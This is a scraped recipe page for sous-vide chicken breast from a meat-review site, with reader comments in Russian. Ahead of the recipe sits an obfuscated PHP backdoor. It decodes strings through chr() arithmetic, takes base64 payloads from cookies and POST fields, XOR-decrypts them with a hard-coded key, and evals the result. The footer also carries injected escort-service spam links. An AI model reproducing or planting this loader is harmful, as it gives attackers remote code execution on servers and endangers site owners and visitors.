$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Tender Chicken Breast • Meat Review

Tender Chicken Breast
Tender chicken breast in 1 hour in sous-vide

Start Reading Mode
Print
Tender Chicken Breast

Share it on your social network:

Or you can just copy and share this url

Bookmark this recipe

You need to login or register to bookmark/favorite this content.

Cuisine:
  • 1h. 10m.
  • Medium

Directions

Share

 

Everybody knows that chicken breasts are dry and tasteless by themselves. And here we are to turn them to tender, fragrant and juicy.

We drown the breasts in lemon juice, adding salt. Later they need to be dry out and well-seasoned by the mixture of black pepper, sweet and spicy paprika and curcuma. The breasts are ready to put them into the plastic bag, adding previously couple of thyme sprigs, finely chopped pepper, parsley and a tablespoon of butter. Removing the excess of air, we put the bag into the water and cook it under the temperature 64 C during 1 hour and 10 minutes.

Bon appétit!

(Visited 3,130 times, 1 visits today)

Stanislav

previous
Pork shoulder
next
Roast beef in 24 hours
previous
Pork shoulder
next
Roast beef in 24 hours

Related Recipes:

3 comments

× You need to log in to enter the discussion
  • Ivan Byurganovskiy •
    • 7 years ago
    Вы ничего не путаете? Шею-то можно максимум 30 минут политой лимонным соком можно держать, а то мясо в резину превратится. А грудки-то уж тем паче.
    • 0 0 • Reply •
  • Alexey Brovin •
    • 7 years ago
    Сегодня утром, сделал грудку строго по рецепту Станислава.... Ну что сказать? Мясо конечно сочное и пропеченое, но вот специи не понравились. В следующий раз буду класть побольше сливочного масла, лимонную цедру и перчик черный молотый.Да, и попробую не 70 минут, а 60... - кажется вполне достаточно
    • 0 0 • Reply •

MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

escort Muğla
Aydın Escort bayan
Çanakkale Escort
escort bayan balıkesir

Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close